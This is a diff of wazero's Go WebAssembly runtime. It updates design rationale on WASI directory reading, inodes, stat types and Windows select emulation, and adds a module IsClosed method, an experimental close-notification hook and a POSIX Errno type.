wasip1 or wasix. When `HostModuleBuilder` adds support for instantiation state,
|
||||
we could move this to the `wasi_snapshot_preview1` package. Meanwhile, all
|
||||
filesystem code is internal anyway, so this special-case is acceptable.
|
||||
|
||||
### wasip2
|
||||
|
||||
`directory-entry-stream` in wasi-filesystem preview2 is defined in component
|
||||
model, not an ABI, but in wasmtime it is a consuming iterator. A consuming
|
||||
iterator is easy to support with anything (like `Readdir(1)`), even if it is
|
||||
inefficient as you can neither bulk read nor skip. The implementation of the
|
||||
preview1 adapter (uses preview2) confirms this. They use a dirent cache similar
|
||||
in some ways to our `sysfs.DirentCache`. As there is no seek concept in
|
||||
preview2, they interpret the cookie as numeric and read on repeat entries when
|
||||
a cache wasn't available. Note: we currently do not skip-read like this as it
|
||||
risks buffering large directories, and no user has requested entries before the
|
||||
cache, yet.
|
||||
|
||||
Regardless, wasip2 is not complete until the end of 2023. We can defer design
|
||||
discussion until after it is stable and after the reference impl wasmtime
|
||||
implements it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-filesystem/blob/ef9fc87c07323a6827632edeb6a7388b31266c8e/example-world.md#directory_entry_stream
|
||||
* https://github.com/bytecodealliance/wasmtime/blob/b741f7c79d72492d17ab8a29c8ffe4687715938e/crates/wasi/src/preview2/preview2/filesystem.rs#L286-L296
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L2131-L2137
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L936
|
||||
|
||||
### wasip3
|
||||
|
||||
`directory-entry-stream` is documented to change significantly in wasip3 moving
|
||||
from synchronous to synchronous streams. This is dramatically different than
|
||||
POSIX `readdir` which is synchronous.
|
||||
|
||||
Regardless, wasip3 is not complete until after wasip2, which means 2024 or
|
||||
later. We can defer design discussion until after it is stable and after the
|
||||
reference impl wasmtime implements it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/WASI/blob/ddfe3d1dda5d1473f37ecebc552ae20ce5fd319a/docs/WitInWasi.md#Streams
|
||||
* https://docs.google.com/presentation/d/1MNVOZ8hdofO3tI0szg_i-Yoy0N2QPU2C--LzVuoGSlE/edit#slide=id.g1270ef7d5b6_0_662
|
||||
|
||||
### How do we implement `Pread` with an `fs.File`?
|
||||
|
||||
`ReadAt` is the Go equivalent to `pread`: it does not affect, and is not
|
||||
affected by, the underlying file offset. Unfortunately, `io.ReaderAt` is not
|
||||
@@ -729,7 +820,7 @@ third `path_len` has ambiguous semantics.
|
||||
`path` offset for the exact length of `path_len`.
|
||||
|
||||
Wasmer considers `path_len` to be the maximum length instead of the exact
|
||||
length that should be written.
|
||||
length that should be written.
|
||||
See https://github.com/wasmerio/wasmer/blob/3463c51268ed551933392a4063bd4f8e7498b0f6/lib/wasi/src/syscalls/mod.rs#L764
|
||||
|
||||
The semantics in wazero follows that of wasmtime.
|
||||
@@ -738,11 +829,84 @@ See https://github.com/bytecodealliance/wasmtime/blob/2ca01ae9478f199337cf743a6a
|
||||
Their semantics match when `path_len` == the length of `path`, so in practice
|
||||
this difference won't matter match.
|
||||
|
||||
## Why does fd_readdir not include dot (".") and dot-dot ("..") entries?
|
||||
## fd_readdir
|
||||
|
||||
When reading a directory, wazero code does not return dot (".") and dot-dot
|
||||
("..") entries. The main reason is that Go does not return them from
|
||||
`os.ReadDir`, and materializing them is complicated (at least dot-dot is).
|
||||
### Why does "wasi_snapshot_preview1" require dot entries when POSIX does not?
|
||||
|
||||
In October 2019, WASI project knew requiring dot entries ("." and "..") was not
|
||||
documented in preview1, not required by POSIX and problematic to synthesize.
|
||||
For example, Windows runtimes backed by `FindNextFileW` could not return these.
|
||||
A year later, the tag representing WASI preview 1 (`snapshot-01`) was made.
|
||||
This did not include the requested change of making dot entries optional.
|
||||
|
||||
The `phases/snapshot/docs.md` document was altered in subsequent years in
|
||||
significant ways, often in lock-step with wasmtime or wasi-libc. In January
|
||||
2022, `sock_accept` was added to `phases/snapshot/docs.md`, a document later
|
||||
renamed to later renamed to `legacy/preview1/docs.md`.
|
||||
|
||||
As a result, the ABI and behavior remained unstable: The `snapshot-01` tag was
|
||||
not an effective basis of portability. A test suite was requested well before
|
||||
this tag, in April 2019. Meanwhile, compliance had no meaning. Developers had
|
||||
to track changes to the latest doc, while clarifying with wasi-libc or wasmtime
|
||||
behavior. This lack of stability could have permitted a fix to the dot entries
|
||||
problem, just as it permitted changes desired by other users.
|
||||
|
||||
In November 2022, the wasi-testsuite project began and started solidifying
|
||||
expectations. This quickly led to changes in runtimes and the spec doc. WASI
|
||||
began importing tests from wasmtime as required behaviors for all runtimes.
|
||||
Some changes implied changes to wasi-libc. For example, `readdir` began to
|
||||
imply inode fan-outs, which caused performance regressions. Most notably a
|
||||
test merged in January required dot entries. Tests were merged without running
|
||||
against any runtime, and even when run ad-hoc only against Linux. Hence,
|
||||
portability issues mentioned over three years earlier did not trigger any
|
||||
failure until wazero (which tests Windows) noticed.
|
||||
|
||||
In the same month, wazero requested to revert this change primarily because
|
||||
Go does not return them from `os.ReadDir`, and materializing them is
|
||||
complicated due to tests also requiring inodes. Moreover, they are discarded by
|
||||
not just Go, but other common programming languages. This was rejected by the
|
||||
WASI lead for preview1, but considered for the completely different ABI named
|
||||
preview2.
|
||||
|
||||
In February 2023, the WASI chair declared that new rule requiring preview1 to
|
||||
return dot entries "was decided by the subgroup as a whole", citing meeting
|
||||
notes. According to these notes, the WASI lead stated incorrectly that POSIX
|
||||
conformance required returning dot entries, something it explicitly says are
|
||||
optional. In other words, he said filtering them out would make Preview1
|
||||
non-conforming, and asked if anyone objects to this. The co-chair was noted to
|
||||
say "Because there are existing P1 programs, we shouldn’t make changes like
|
||||
this." No other were recorded to say anything.
|
||||
|
||||
In summary, preview1 was changed retrospectively to require dot entries and
|
||||
preview2 was changed to require their absence. This rule was reverse engineered
|
||||
from wasmtime tests, and affirmed on two false premises:
|
||||
|
||||
* POSIX compliance requires dot entries
|
||||
* POSIX literally says these are optional
|
||||
* WASI cannot make changes because there are existing P1 programs.
|
||||
* Changes to Preview 1 happened before and after this topic.
|
||||
|
||||
As of June 2023, wasi-testsuite still only runs on Linux, so compliance of this
|
||||
rule on Windows is left to runtimes to decide to validate. The preview2 adapter
|
||||
uses fake cookies zero and one to refer to dot dirents, uses a real inode for
|
||||
the dot(".") entry and zero inode for dot-dot("..").
|
||||
|
||||
See https://github.com/WebAssembly/wasi-filesystem/issues/3
|
||||
See https://github.com/WebAssembly/WASI/tree/snapshot-01
|
||||
See https://github.com/WebAssembly/WASI/issues/9
|
||||
See https://github.com/WebAssembly/WASI/pull/458
|
||||
See https://github.com/WebAssembly/wasi-testsuite/pull/32
|
||||
See https://github.com/WebAssembly/wasi-libc/pull/345
|
||||
See https://github.com/WebAssembly/wasi-testsuite/issues/52
|
||||
See https://github.com/WebAssembly/WASI/pull/516
|
||||
See https://github.com/WebAssembly/meetings/blob/main/wasi/2023/WASI-02-09.md#should-preview1-fd_readdir-filter-out--and-
|
||||
See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041
|
||||
|
||||
### Why are dot (".") and dot-dot ("..") entries problematic?
|
||||
|
||||
When reading a directory, dot (".") and dot-dot ("..") entries are problematic.
|
||||
For example, Go does not return them from `os.ReadDir`, and materializing them
|
||||
is complicated (at least dot-dot is).
|
||||
|
||||
A directory entry has stat information in it. The stat information includes
|
||||
inode which is used for comparing file equivalence. In the simple case of dot,
|
||||
@@ -758,7 +922,19 @@ well, such as the decision to not return ".." from a root path. In any case,
|
||||
this should start to explain that faking entries when underlying stdlib doesn't
|
||||
return them is tricky and requires quite a lot of state.
|
||||
|
||||
Even if we did that, it would cause expense to all users of wazero, so we'd
|
||||
Another issue is around the `Dirent.Off` value of a directory entry, sometimes
|
||||
called a "cookie" in Linux man pagers. When the host operating system or
|
||||
library function does not return dot entries, to support functions such as
|
||||
`seekdir`, you still need a value for `Dirent.Off`. Naively, you can synthesize
|
||||
these by choosing sequential offsets zero and one. However, POSIX strictly says
|
||||
offsets should be treated opaquely. The backing filesystem could use these to
|
||||
represent real entries. For example, a directory with one entry could use zero
|
||||
as the `Dirent.Off` value. If you also used zero for the "." dirent, there
|
||||
would be a clash. This means if you synthesize `Dirent.Off` for any entry, you
|
||||
need to synthesize this value for all entries. In practice, the simplest way is
|
||||
using an incrementing number, such as done in the WASI preview2 adapter.
|
||||
|
||||
Working around these issues causes expense to all users of wazero, so we'd
|
||||
then look to see if that would be justified or not. However, the most common
|
||||
compilers involved in end user questions, as of early 2023 are TinyGo, Rust and
|
||||
Zig. All of these compile code which ignores dot and dot-dot entries. In other
|
||||
@@ -773,12 +949,100 @@ which summarizes to "these are optional"
|
||||
|
||||
> The readdir() function shall not return directory entries containing empty names. If entries for dot or dot-dot exist, one entry shall be returned for dot and one entry shall be returned for dot-dot; otherwise, they shall not be returned.
|
||||
|
||||
In summary, wazero not only doesn't return dot and dot-dot entries because Go
|
||||
doesn't and emulating them in spite of that would result in no difference
|
||||
except hire overhead to the majority of our users.
|
||||
Unfortunately, as described above, the WASI project decided in early 2023 to
|
||||
require dot entries in both the spec and the wasi-testsuite. For only this
|
||||
reason, wazero adds overhead to synthesize dot entries despite it being
|
||||
unnecessary for most users.
|
||||
|
||||
See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
|
||||
See https://github.com/golang/go/blob/go1.20/src/os/dir_unix.go#L108-L110
|
||||
See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041
|
||||
|
||||
### Why don't we pre-populate an inode for the dot-dot ("..") entry?
|
||||
|
||||
We only populate an inode for dot (".") because wasi-testsuite requires it, and
|
||||
we likely already have it (because we cache it). We could attempt to populate
|
||||
one for dot-dot (".."), but chose not to.
|
||||
|
||||
Firstly, wasi-testsuite does not require the inode of dot-dot, possibly because
|
||||
the wasip2 adapter doesn't populate it (but we don't really know why).
|
||||
|
||||
The only other reason to populate it would be to avoid wasi-libc's stat fanout
|
||||
when it is missing. However, wasi-libc explicitly doesn't fan-out to lstat on
|
||||
the ".." entry on a zero ino.
|
||||
|
||||
Fetching dot-dot's inode despite the above not only doesn't help wasi-libc, but
|
||||
it also hurts languages that don't use it, such as Go. These languages would
|
||||
pay a stat syscall penalty even if they don't need the inode. In fact, Go
|
||||
discards both dot entries!
|
||||
|
||||
In summary, there are no significant upsides in attempting to pre-fetch
|
||||
dot-dot's inode, and there are downsides to doing it anyway.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94
|
||||
* https://github.com/WebAssembly/wasi-testsuite/blob/main/tests/rust/src/bin/fd_readdir.rs#L108
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1037
|
||||
|
||||
### Why don't we require inodes to be non-zero?
|
||||
|
||||
We don't require a non-zero value for `Dirent.Ino` because doing so can prevent
|
||||
a real one from resolving later via `Stat_t.Ino`.
|
||||
|
||||
We define `Ino` like `d_ino` in POSIX which doesn't special-case zero. It can
|
||||
be zero for a few reasons:
|
||||
|
||||
* The file is not a regular file or directory.
|
||||
* The underlying filesystem does not support inodes. e.g. embed:fs
|
||||
* A directory doesn't include inodes, but a later stat can. e.g. Windows
|
||||
* The backend is based on wasi-filesystem (a.k.a wasip2), which has
|
||||
`directory_entry.inode` optional, and might remove it entirely.
|
||||
|
||||
There are other downsides to returning a zero inode in widely used compilers:
|
||||
|
||||
* File equivalence utilities, like `os.SameFile` will not work.
|
||||
* wasi-libc's `wasip1` mode will call `lstat` and attempt to retrieve a
|
||||
non-zero value (unless the entry is named "..").
|
||||
|
||||
A new compiler may accidentally skip a `Dirent` with a zero `Ino` if emulating
|
||||
a non-POSIX function and re-using `Dirent.Ino` for `d_fileno`.
|
||||
|
||||
* Linux `getdents` doesn't define `d_fileno` must be non-zero
|
||||
* BSD `getdirentries` is implementation specific. For example, OpenBSD will
|
||||
return dirents with a zero `d_fileno`, but Darwin will skip them.
|
||||
|
||||
The above shouldn't be a problem, even in the case of BSD, because `wasip1` is
|
||||
defined more in terms of `getdents` than `getdirentries`. The bottom half of
|
||||
either should treat `wasip1` (or any similar ABI such as wasix or wasip2) as a
|
||||
different operating system and either use different logic that doesn't skip, or
|
||||
synthesize a fake non-zero `d_fileno` when `d_ino` is zero.
|
||||
|
||||
However, this has been a problem. Go's `syscall.ParseDirent` utility is shared
|
||||
for all `GOOS=unix`. For simplicity, this abstracts `direntIno` with data from
|
||||
`d_fileno` or `d_ino`, and drops if either are zero, even if `d_fileno` is the
|
||||
only field with zero explicitly defined. This led to a change to special case
|
||||
`GOOS=wasip1` as otherwise virtual files would be unconditionally skipped.
|
||||
|
||||
In practice, this problem is rather unique due to so many compilers relying on
|
||||
wasi-libc, which tolerates a zero inode. For example, while issues were
|
||||
reported about the performance regression when wasi-libc began doing a fan-out
|
||||
on zero `Dirent.Ino`, no issues were reported about dirents being dropped as a
|
||||
result.
|
||||
|
||||
In summary, rather than complicating implementation and forcing non-zero inodes
|
||||
for a rare case, we permit zero. We instead document this topic thoroughly, so
|
||||
that emerging compilers can re-use the research and reference it on conflict.
|
||||
We also document that `Ino` should be non-zero, so that users implementing that
|
||||
field will attempt to get it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-filesystem/pull/81
|
||||
* https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94
|
||||
* https://linux.die.net/man/3/getdents
|
||||
* https://www.unix.com/man-page/osx/2/getdirentries/
|
||||
* https://man.openbsd.org/OpenBSD-5.4/getdirentries.2
|
||||
* https://github.com/golang/go/blob/go1.20/src/syscall/dirent.go#L60-L102
|
||||
* https://go-review.googlesource.com/c/go/+/507915
|
||||
|
||||
## sys.Walltime and Nanotime
|
||||
|
||||
@@ -907,6 +1171,68 @@ See https://github.com/WebAssembly/stack-switching/discussions/38
|
||||
See https://github.com/WebAssembly/wasi-threads#what-can-be-skipped
|
||||
See https://slinkydeveloper.com/Kubernetes-controllers-A-New-Hope/
|
||||
|
||||
## sys.Stat_t
|
||||
|
||||
We expose `stat` information as `sys.Stat_t`, like `syscall.Stat_t` except
|
||||
defined without build constraints. For example, you can use `sys.Stat_t` on
|
||||
`GOOS=windows` which doesn't define `syscall.Stat_t`.
|
||||
|
||||
The first use case of this is to return inodes from `fs.FileInfo` without
|
||||
relying on platform-specifics. For example, a user could return `*sys.Stat_t`
|
||||
from `info.Sys()` and define a non-zero inode for a virtual file, or map a
|
||||
real inode to a virtual one.
|
||||
|
||||
Notable choices per field are listed below, where `sys.Stat_t` is unlike
|
||||
`syscall.Stat_t` on `GOOS=linux`, or needs clarification. One common issue
|
||||
not repeated below is that numeric fields are 64-bit when at least one platform
|
||||
defines it that large. Also, zero values are equivalent to nil or absent.
|
||||
|
||||
* `Dev` and `Ino` (`Inode`) are both defined unsigned as they are defined
|
||||
opaque, and most `syscall.Stat_t` also defined them unsigned. There are
|
||||
separate sections in this document discussing the impact of zero in `Ino`.
|
||||
* `Mode` is defined as a `fs.FileMode` even though that is not defined in POSIX
|
||||
and will not map to all possible values. This is because the current use is
|
||||
WASI, which doesn't define any types or features not already supported. By
|
||||
using `fs.FileMode`, we can re-use routine experience in Go.
|
||||
* `NLink` is unsigned because it is defined that way in `syscall.Stat_t`: there
|
||||
can never be less than zero links to a file. We suggest defaulting to 1 in
|
||||
conversions when information is not knowable because at least that many links
|
||||
exist.
|
||||
* `Size` is signed because it is defined that way in `syscall.Stat_t`: while
|
||||
regular files and directories will always be non-negative, irregular files
|
||||
are possibly negative or not defined. Notably sparse files are known to
|
||||
return negative values.
|
||||
* `Atim`, `Mtim` and `Ctim` are signed because they are defined that way in
|
||||
`syscall.Stat_t`: Negative values are time before 1970. The resolution is
|
||||
nanosecond because that's the maximum resolution currently supported in Go.
|
||||
|
||||
### Why do we use `sys.EpochNanos` instead of `time.Time` or similar?
|
||||
|
||||
To simplify documentation, we defined a type alias `sys.EpochNanos` for int64.
|
||||
`time.Time` is a data structure, and we could have used this for
|
||||
`syscall.Stat_t` time values. The most important reason we do not is conversion
|
||||
penalty deriving time from common types.
|
||||
|
||||
The most common ABI used in `wasip2`. This, and compatible ABI such as `wasix`,
|
||||
encode timestamps in memory as a 64-bit number. If we used `time.Time`, we
|
||||
would have to convert an underlying type like `syscall.Timespec` to `time.Time`
|
||||
only to later have to call `.UnixNano()` to convert it back to a 64-bit number.
|
||||
|
||||
In the future, the component model module "wasi-filesystem" may represent stat
|
||||
timestamps with a type shared with "wasi-clocks", abstractly structured similar
|
||||
to `time.Time`. However, component model intentionally does not define an ABI.
|
||||
It is likely that the canonical ABI for timestamp will be in two parts, but it
|
||||
is not required for it to be intermediately represented this way. A utility
|
||||
like `syscall.NsecToTimespec` could split an int64 so that it could be written
|
||||
to memory as 96 bytes (int64, int32), without allocating a struct.
|
||||
|
||||
Finally, some may confuse epoch nanoseconds with 32-bit epoch seconds. While
|
||||
32-bit epoch seconds has "The year 2038" problem, epoch nanoseconds has
|
||||
"The Year 2262" problem, which is even less concerning for this library. If
|
||||
the Go programming language and wazero exist in the 2200's, we can make a major
|
||||
version increment to adjust the `sys.EpochNanos` approach. Meanwhile, we have
|
||||
faster code.
|
||||
|
||||
## poll_oneoff
|
||||
|
||||
`poll_oneoff` is a WASI API for waiting for I/O events on multiple handles.
|
||||
@@ -947,7 +1273,7 @@ However, if the reader is detected to read from `os.Stdin`,
|
||||
a special code path is followed, invoking `platform.Select()`.
|
||||
|
||||
`platform.Select()` is a wrapper for `select(2)` on POSIX systems,
|
||||
and it is mocked for a handful of cases also on Windows.
|
||||
and it is emulated on Windows.
|
||||
|
||||
### Select on POSIX
|
||||
|
||||
@@ -977,25 +1303,35 @@ unless data becomes available on `Stdin` itself.
|
||||
|
||||
### Select on Windows
|
||||
|
||||
On Windows the `platform.Select()` is much more straightforward,
|
||||
and it really just replicates the behavior found in the general cases
|
||||
for `FdRead` subscriptions: in other words, the subscription to `Stdin`
|
||||
is immediately acknowledged.
|
||||
On Windows `platform.Select()` cannot be delegated to a single
|
||||
syscall, because there is no single syscall to handle sockets,
|
||||
pipes and regular files.
|
||||
|
||||
The implementation also support a timeout, but in this case
|
||||
it relies on `time.Sleep()`, which notably, as compared to the POSIX
|
||||
case, interruptible and compatible with goroutines.
|
||||
Instead, we emulate its behavior for the cases that are currently
|
||||
of interest.
|
||||
|
||||
However, because `Stdin` subscriptions are always acknowledged
|
||||
without wait and because this code path is always followed only
|
||||
when at least one `Stdin` subscription is present, then the
|
||||
timeout is effectively always handled externally.
|
||||
- For regular files, we _always_ report them as ready, as
|
||||
[most operating systems do anyway][async-io-windows].
|
||||
|
||||
In any case, the behavior of `platform.Select` on Windows
|
||||
is sensibly different from the behavior on POSIX platforms;
|
||||
we plan to refine and further align it in semantics in the future.
|
||||
- For pipes, we iterate on the given `readfds`
|
||||
and we invoke [`PeekNamedPipe`][peeknamedpipe]. We currently ignore
|
||||
`writefds` and `exceptfds` for pipes. In particular,
|
||||
`Stdin`, when present, is set to the `readfds` FdSet.
|
||||
|
||||
- Notably, we include also support for sockets using the [WinSock
|
||||
implementation of `select`][winsock-select], but instead
|
||||
of relying on the timeout argument of the `select` function,
|
||||
we set a 0-duration timeout so that it behaves like a peek.
|
||||
|
||||
This way, we can check for regular files all at once,
|
||||
at the beginning of the function, then we poll pipes and
|
||||
sockets periodically using a cancellable `time.Tick`,
|
||||
which plays nicely with the rest of the Go runtime.
|
||||
|
||||
[poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff
|
||||
[async-io-windows]: https://tinyclouds.org/iocp_links
|
||||
[peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe
|
||||
[winsock-select]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-select
|
||||
|
||||
## Signed encoding of integer global constant initializers
|
||||
|
||||
|
||||
+19
@@ -150,6 +150,10 @@ type Module interface {
|
||||
Memory() Memory
|
||||
|
||||
// ExportedFunction returns a function exported from this module or nil if it wasn't.
|
||||
//
|
||||
// Note: The default wazero.ModuleConfig attempts to invoke `_start`, which
|
||||
// in rare cases can close the module. When in doubt, check IsClosed prior
|
||||
// to invoking a function export after instantiation.
|
||||
ExportedFunction(name string) Function
|
||||
|
||||
// ExportedFunctionDefinitions returns all the exported function
|
||||
@@ -190,6 +194,21 @@ type Module interface {
|
||||
// Closer closes this module by delegating to CloseWithExitCode with an exit code of zero.
|
||||
Closer
|
||||
|
||||
// IsClosed returns true if the module is closed, so no longer usable.
|
||||
//
|
||||
// This can happen for the following reasons:
|
||||
// - Closer was called directly.
|
||||
// - A guest function called Closer indirectly, such as `_start` calling
|
||||
// `proc_exit`, which internally closed the module.
|
||||
// - wazero.RuntimeConfig `WithCloseOnContextDone` was enabled and a
|
||||
// context completion closed the module.
|
||||
//
|
||||
// Where any of the above are possible, check this value before calling an
|
||||
// ExportedFunction, even if you didn't formerly receive a sys.ExitError.
|
||||
// sys.ExitError is only returned on non-zero code, something that closes
|
||||
// the module successfully will not result it one.
|
||||
IsClosed() bool
|
||||
|
||||
internalapi.WazeroOnly
|
||||
}
|
||||
|
||||
|
||||
+15
-9
@@ -490,12 +490,19 @@ type ModuleConfig interface {
|
||||
// WithStartFunctions configures the functions to call after the module is
|
||||
// instantiated. Defaults to "_start".
|
||||
//
|
||||
// Clearing the default is supported, via `WithStartFunctions()`.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - If any function doesn't exist, it is skipped. However, all functions
|
||||
// that do exist are called in order.
|
||||
// - Some start functions may exit the module during instantiate with a
|
||||
// sys.ExitError (e.g. emscripten), preventing use of exported functions.
|
||||
// - If a start function doesn't exist, it is skipped. However, any that
|
||||
// do exist are called in order.
|
||||
// - Start functions are not intended to be called multiple times.
|
||||
// Functions that should be called multiple times should be invoked
|
||||
// manually via api.Module's `ExportedFunction` method.
|
||||
// - Start functions commonly exit the module during instantiation,
|
||||
// preventing use of any functions later. This is the case in "wasip1",
|
||||
// which defines the default value "_start".
|
||||
// - See /RATIONALE.md for motivation of this feature.
|
||||
WithStartFunctions(...string) ModuleConfig
|
||||
|
||||
// WithStderr configures where standard error (file descriptor 2) is written. Defaults to io.Discard.
|
||||
@@ -839,11 +846,10 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) {
|
||||
environ = append(environ, result)
|
||||
}
|
||||
|
||||
var fs fsapi.FS
|
||||
var fs []fsapi.FS
|
||||
var guestPaths []string
|
||||
if f, ok := c.fsConfig.(*fsConfig); ok {
|
||||
if fs, err = f.toFS(); err != nil {
|
||||
return
|
||||
}
|
||||
fs, guestPaths = f.preopens()
|
||||
}
|
||||
|
||||
var listeners []*net.TCPListener
|
||||
@@ -864,7 +870,7 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) {
|
||||
c.walltime, c.walltimeResolution,
|
||||
c.nanotime, c.nanotimeResolution,
|
||||
c.nanosleep, c.osyield,
|
||||
fs,
|
||||
fs, guestPaths,
|
||||
listeners,
|
||||
)
|
||||
}
|
||||
+63
@@ -0,0 +1,63 @@
|
||||
package experimental
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/close"
|
||||
)
|
||||
|
||||
// CloseNotifier is a notification hook, invoked when a module is closed.
|
||||
//
|
||||
// Note: This is experimental progress towards #1197, and likely to change. Do
|
||||
// not expose this in shared libraries as it can cause version locks.
|
||||
type CloseNotifier interface {
|
||||
// CloseNotify is a notification that occurs *before* an api.Module is
|
||||
// closed. `exitCode` is zero on success or in the case there was no exit
|
||||
// code.
|
||||
//
|
||||
// Notes:
|
||||
// - This does not return an error because the module will be closed
|
||||
// unconditionally.
|
||||
// - Do not panic from this function as it doing so could cause resource
|
||||
// leaks.
|
||||
// - While this is only called once per module, if configured for
|
||||
// multiple modules, it will be called for each, e.g. on runtime close.
|
||||
CloseNotify(ctx context.Context, exitCode uint32)
|
||||
}
|
||||
|
||||
// ^-- Note: This might need to be a part of the listener or become a part of
|
||||
// host state implementation. For example, if this is used to implement state
|
||||
// cleanup for host modules, possibly something like below would be better, as
|
||||
// it could be implemented in a way that allows concurrent module use.
|
||||
//
|
||||
// // key is like a context key, stateFactory is invoked per instantiate and
|
||||
// // is associated with the key (exposed as `Module.State` similar to go
|
||||
// // context). Using a key is better than the module name because we can
|
||||
// // de-dupe it for host modules that can be instantiated into different
|
||||
// // names. Also, you can make the key package private.
|
||||
// HostModuleBuilder.WithState(key any, stateFactory func() Cleanup)`
|
||||
//
|
||||
// Such a design could work to isolate state only needed for wasip1, for
|
||||
// example the dirent cache. However, if end users use this for different
|
||||
// things, we may need separate designs.
|
||||
//
|
||||
// In summary, the purpose of this iteration is to identify projects that
|
||||
// would use something like this, and then we can figure out which way it
|
||||
// should go.
|
||||
|
||||
// CloseNotifyFunc is a convenience for defining inlining a CloseNotifier.
|
||||
type CloseNotifyFunc func(ctx context.Context, exitCode uint32)
|
||||
|
||||
// CloseNotify implements CloseNotifier.CloseNotify.
|
||||
func (f CloseNotifyFunc) CloseNotify(ctx context.Context, exitCode uint32) {
|
||||
f(ctx, exitCode)
|
||||
}
|
||||
|
||||
// WithCloseNotifier registers the given CloseNotifier into the given
|
||||
// context.Context.
|
||||
func WithCloseNotifier(ctx context.Context, notifier CloseNotifier) context.Context {
|
||||
if notifier != nil {
|
||||
return context.WithValue(ctx, close.NotifierKey{}, notifier)
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
+95
@@ -0,0 +1,95 @@
|
||||
package sys
|
||||
|
||||
import "strconv"
|
||||
|
||||
// Errno is a subset of POSIX errno used by wazero interfaces. Zero is not an
|
||||
// error. Other values should not be interpreted numerically, rather by constants
|
||||
// prefixed with 'E'.
|
||||
//
|
||||
// See https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/errno.h.html
|
||||
type Errno uint16
|
||||
|
||||
// ^-- Note: This will eventually move to the public /sys package. It is
|
||||
// experimental until we audit the socket related APIs to ensure we have all
|
||||
// the Errno it returns, and we export fs.FS. This is not in /internal/sys as
|
||||
// that would introduce a package cycle.
|
||||
|
||||
// This is a subset of errors to reduce implementation burden. `wasip1` defines
|
||||
// almost all POSIX error numbers, but not all are used in practice. wazero
|
||||
// will add ones needed in POSIX order, as needed by functions that explicitly
|
||||
// document returning them.
|
||||
//
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-errno-enumu16
|
||||
const (
|
||||
EACCES Errno = iota + 1
|
||||
EAGAIN
|
||||
EBADF
|
||||
EEXIST
|
||||
EFAULT
|
||||
EINTR
|
||||
EINVAL
|
||||
EIO
|
||||
EISDIR
|
||||
ELOOP
|
||||
ENAMETOOLONG
|
||||
ENOENT
|
||||
ENOSYS
|
||||
ENOTDIR
|
||||
ENOTEMPTY
|
||||
ENOTSOCK
|
||||
ENOTSUP
|
||||
EPERM
|
||||
EROFS
|
||||
|
||||
// NOTE ENOTCAPABLE is defined in wasip1, but not in POSIX. wasi-libc
|
||||
// converts it to EBADF, ESPIPE or EINVAL depending on the call site.
|
||||
// It isn't known if compilers who don't use ENOTCAPABLE would crash on it.
|
||||
)
|
||||
|
||||
// Error implements error
|
||||
func (e Errno) Error() string {
|
||||
switch e {
|
||||
case 0: // not an error
|
||||
return "success"
|
||||
case EACCES:
|
||||
return "permission denied"
|
||||
case EAGAIN:
|
||||
return "resource unavailable, try again"
|
||||
case EBADF:
|
||||
return "bad file descriptor"
|
||||
case EEXIST:
|
||||
return "file exists"
|
||||
case EFAULT:
|
||||
return "bad address"
|
||||
case EINTR:
|
||||
return "interrupted function"
|
||||
case EINVAL:
|
||||
return "invalid argument"
|
||||
case EIO:
|
||||
return "input/output error"
|
||||
case EISDIR:
|
||||
return "is a directory"
|
||||
case ELOOP:
|
||||
return "too many levels of symbolic links"
|
||||
case ENAMETOOLONG:
|
||||
return "filename too long"
|
||||
case ENOENT:
|
||||
return "no such file or directory"
|
||||
case ENOSYS:
|
||||
return "functionality not supported"
|
||||
case ENOTDIR:
|
||||
return "not a directory or a symbolic link to a directory"
|
||||
case ENOTEMPTY:
|
||||
return "directory not empty"
|
||||
case ENOTSOCK:
|
||||
return "not a socket"
|
||||
case ENOTSUP:
|
||||
return "not supported (may be the same value as [EOPNOTSUPP])"
|
||||
case EPERM:
|
||||
return "operation not permitted"
|
||||
case EROFS:
|
||||
return "read-only file system"
|
||||
default:
|
||||
return "Errno(" + strconv.Itoa(int(e)) + ")"
|
||||
}
|
||||
}
|
||||
Generated
Vendored
+10
-17
@@ -1,39 +1,32 @@
|
||||
package platform
|
||||
package sys
|
||||
|
||||
import (
|
||||
"io"
|
||||
"io/fs"
|
||||
"os"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// UnwrapOSError returns a syscall.Errno or zero if the input is nil.
|
||||
func UnwrapOSError(err error) syscall.Errno {
|
||||
// UnwrapOSError returns an Errno or zero if the input is nil.
|
||||
func UnwrapOSError(err error) Errno {
|
||||
if err == nil {
|
